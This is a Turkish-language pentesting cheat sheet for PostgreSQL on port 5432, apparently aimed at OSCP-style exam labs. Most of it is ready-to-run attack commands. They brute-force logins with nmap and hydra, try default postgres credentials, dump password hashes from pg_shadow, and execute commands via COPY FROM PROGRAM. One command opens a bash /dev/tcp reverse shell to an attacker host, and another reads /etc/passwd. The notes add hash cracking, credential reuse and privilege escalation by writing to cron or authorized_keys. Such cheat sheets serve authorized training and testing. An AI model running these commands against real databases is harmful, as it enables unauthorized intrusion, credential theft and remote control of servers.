5432
PostgreSQL
linuxPostgreSQL: nmap brute, varsayilan postgres kullanicisi, COPY...FROM PROGRAM ile RCE, büyük ayricaliklarla dosya okuma ve sifre hash loot.
┌──
Komutlar
nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=pgsql-brute {{RHOST}} PostgreSQL surum tespiti ve brute-force NSE scripti. HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE
psql -h {{RHOST}} -p {{RPORT}} -U {{USER}} -W psql istemcisi ile baglanti (parola sorar). HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -p {{RPORT}} -U postgres -c '\l' Varsayilan postgres kullanicisi ile DB listele. HackTricks — 5432 Pentesting PostgreSQL
hydra ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} {{RHOST}} postgres PostgreSQL kimlik bilgisi brute-force. HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c 'SELECT usename, passwd FROM pg_shadow;' pg_shadow tablosundan MD5/SCRAM hash dump (superuser gerekli). HackTricks — 5432 Pentesting PostgreSQL
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "CREATE TABLE cmd(out text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;" COPY ... FROM PROGRAM ile komut calistirma (superuser/pg_execute_server_program). HackTricks — PostgreSQL RCE (COPY FROM PROGRAM)
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "COPY cmd FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\"';" COPY FROM PROGRAM ile reverse shell. HackTricks — PostgreSQL RCE
psql ✓ EXAM-SAFE user
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "CREATE TABLE f(d text); COPY f FROM '/etc/passwd'; SELECT * FROM f;" Superuser ile yerel dosya okuma. HackTricks — 5432 Pentesting PostgreSQL
Genel Bakis
PostgreSQL OSCP/PG makinelerinde RCE acisindan en degerli DB servislerinden biridir. Superuser veya pg_execute_server_program rolune sahip bir hesapla COPY … FROM PROGRAM uzerinden dogrudan komut calistirilir.
Enumeration
- nmap
pgsql-bruteile surumu ve zayif kredleri tespit et. - Baglandiktan sonra
\l(DB listesi),\du(roller/privilegeler),SELECT version();veSHOW data_directory;calistir. SELECT current_setting('is_superuser');ile superuser olup olmadigini dogrula.
Kimlik Dogrulama / Varsayilan Kimlik Bilgileri
postgres:postgres,postgresbos parola, uygulama config’lerindeki kredler ilk denemeler.- Web uygulamasi LFI ile elde edilen
.pgpass,database.yml,.envdosyalari kred kaynagidir. - 9.x-11 surumlerinde CVE-2019-9193
COPY FROM PROGRAMozelligi varsayilan acik gelir.
RCE — COPY FROM PROGRAM
- Once bir tablo olustur,
COPY tablo FROM PROGRAM 'komut'ile cikti tabloya yazilir,SELECTile okunur. - Reverse shell icin bash TCP one-liner kullan; cift tirnak kacislarina dikkat. Alternatif olarak Python/nc payload’lari da kullanilabilir.
- Superuser degilsen
pg_read_server_files,pg_write_server_files,pg_execute_server_programrollerini\duile kontrol et; bunlardan biri yeterli olabilir.
Dosya Okuma/Yazma
COPY tablo FROM '/dosya'ile yerel dosya okunur (superuser/pg_read_server_files).COPY tablo TO '/yol'ile dosya yazilir; cron veya authorized_keys’e yazarak privesc denenebilir.
Loot / Pivot Notlari
pg_shadowvepg_authidtablolarindan MD5/SCRAM hash’leri al, hashcat (mode 11100postgres md5) ile kir.- Uygulama tablolarindaki kullanici kredlerini SSH/web icin tekrar kullan.
- RCE aldiktan sonra cogunlukla
postgresOS kullanicisi olursun; oradan SUID/sudo ile privesc’e gec.
┌──
İlgili teknikler
┌──